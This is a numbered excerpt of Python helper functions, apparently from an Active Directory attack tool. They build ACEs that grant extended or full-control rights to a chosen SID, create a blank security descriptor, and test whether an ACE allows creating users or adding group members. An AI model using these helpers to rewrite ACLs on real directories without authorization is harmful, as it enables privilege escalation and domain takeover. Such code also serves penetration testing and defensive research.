734 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE 

735 nace['AceFlags'] = 0x00 

736 acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() 

737 acedata['Mask'] = ldaptypes.ACCESS_MASK() 

738 acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS 

739 acedata['ObjectType'] = string_to_bin(privguid) 

740 acedata['InheritedObjectType'] = b'' 

741 acedata['Sid'] = ldaptypes.LDAP_SID() 

742 acedata['Sid'].fromCanonical(sid) 

743 assert sid == acedata['Sid'].formatCanonical() 

744 acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT 

745 nace['Ace'] = acedata 

746 return nace 

747 

748# Create an ALLOW ACE with the specified sid 

749def create_allow_ace(sid): 

750 nace = ldaptypes.ACE() 

751 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE 

752 nace['AceFlags'] = 0x00 

753 acedata = ldaptypes.ACCESS_ALLOWED_ACE() 

754 acedata['Mask'] = ldaptypes.ACCESS_MASK() 

755 acedata['Mask']['Mask'] = 983551 # Full control 

756 acedata['Sid'] = ldaptypes.LDAP_SID() 

757 acedata['Sid'].fromCanonical(sid) 

758 nace['Ace'] = acedata 

759 return nace 

760 

761def create_empty_sd(): 

762 sd = ldaptypes.SR_SECURITY_DESCRIPTOR() 

763 sd['Revision'] = b'\x01' 

764 sd['Sbz1'] = b'\x00' 

765 sd['Control'] = 32772 

766 sd['OwnerSid'] = ldaptypes.LDAP_SID() 

767 # BUILTIN\Administrators 

768 sd['OwnerSid'].fromCanonical('S-1-5-32-544') 

769 sd['GroupSid'] = b'' 

770 sd['Sacl'] = b'' 

771 acl = ldaptypes.ACL() 

772 acl['AclRevision'] = 4 

773 acl['Sbz1'] = 0 

774 acl['Sbz2'] = 0 

775 acl.aces = [] 

776 sd['Dacl'] = acl 

777 return sd 

778 

779# Check if an ACE allows for creation of users 

780def can_create_users(ace): 

781 createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD) 

782 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'': 

783 return False 

784 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2' 

785 return createprivs and userprivs 

786 

787# Check if an ACE allows for adding members 

788def can_add_member(ace): 

789 writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP) 

790 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'': 

791 return writeprivs 

792 userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2' 

793 return writeprivs and userprivs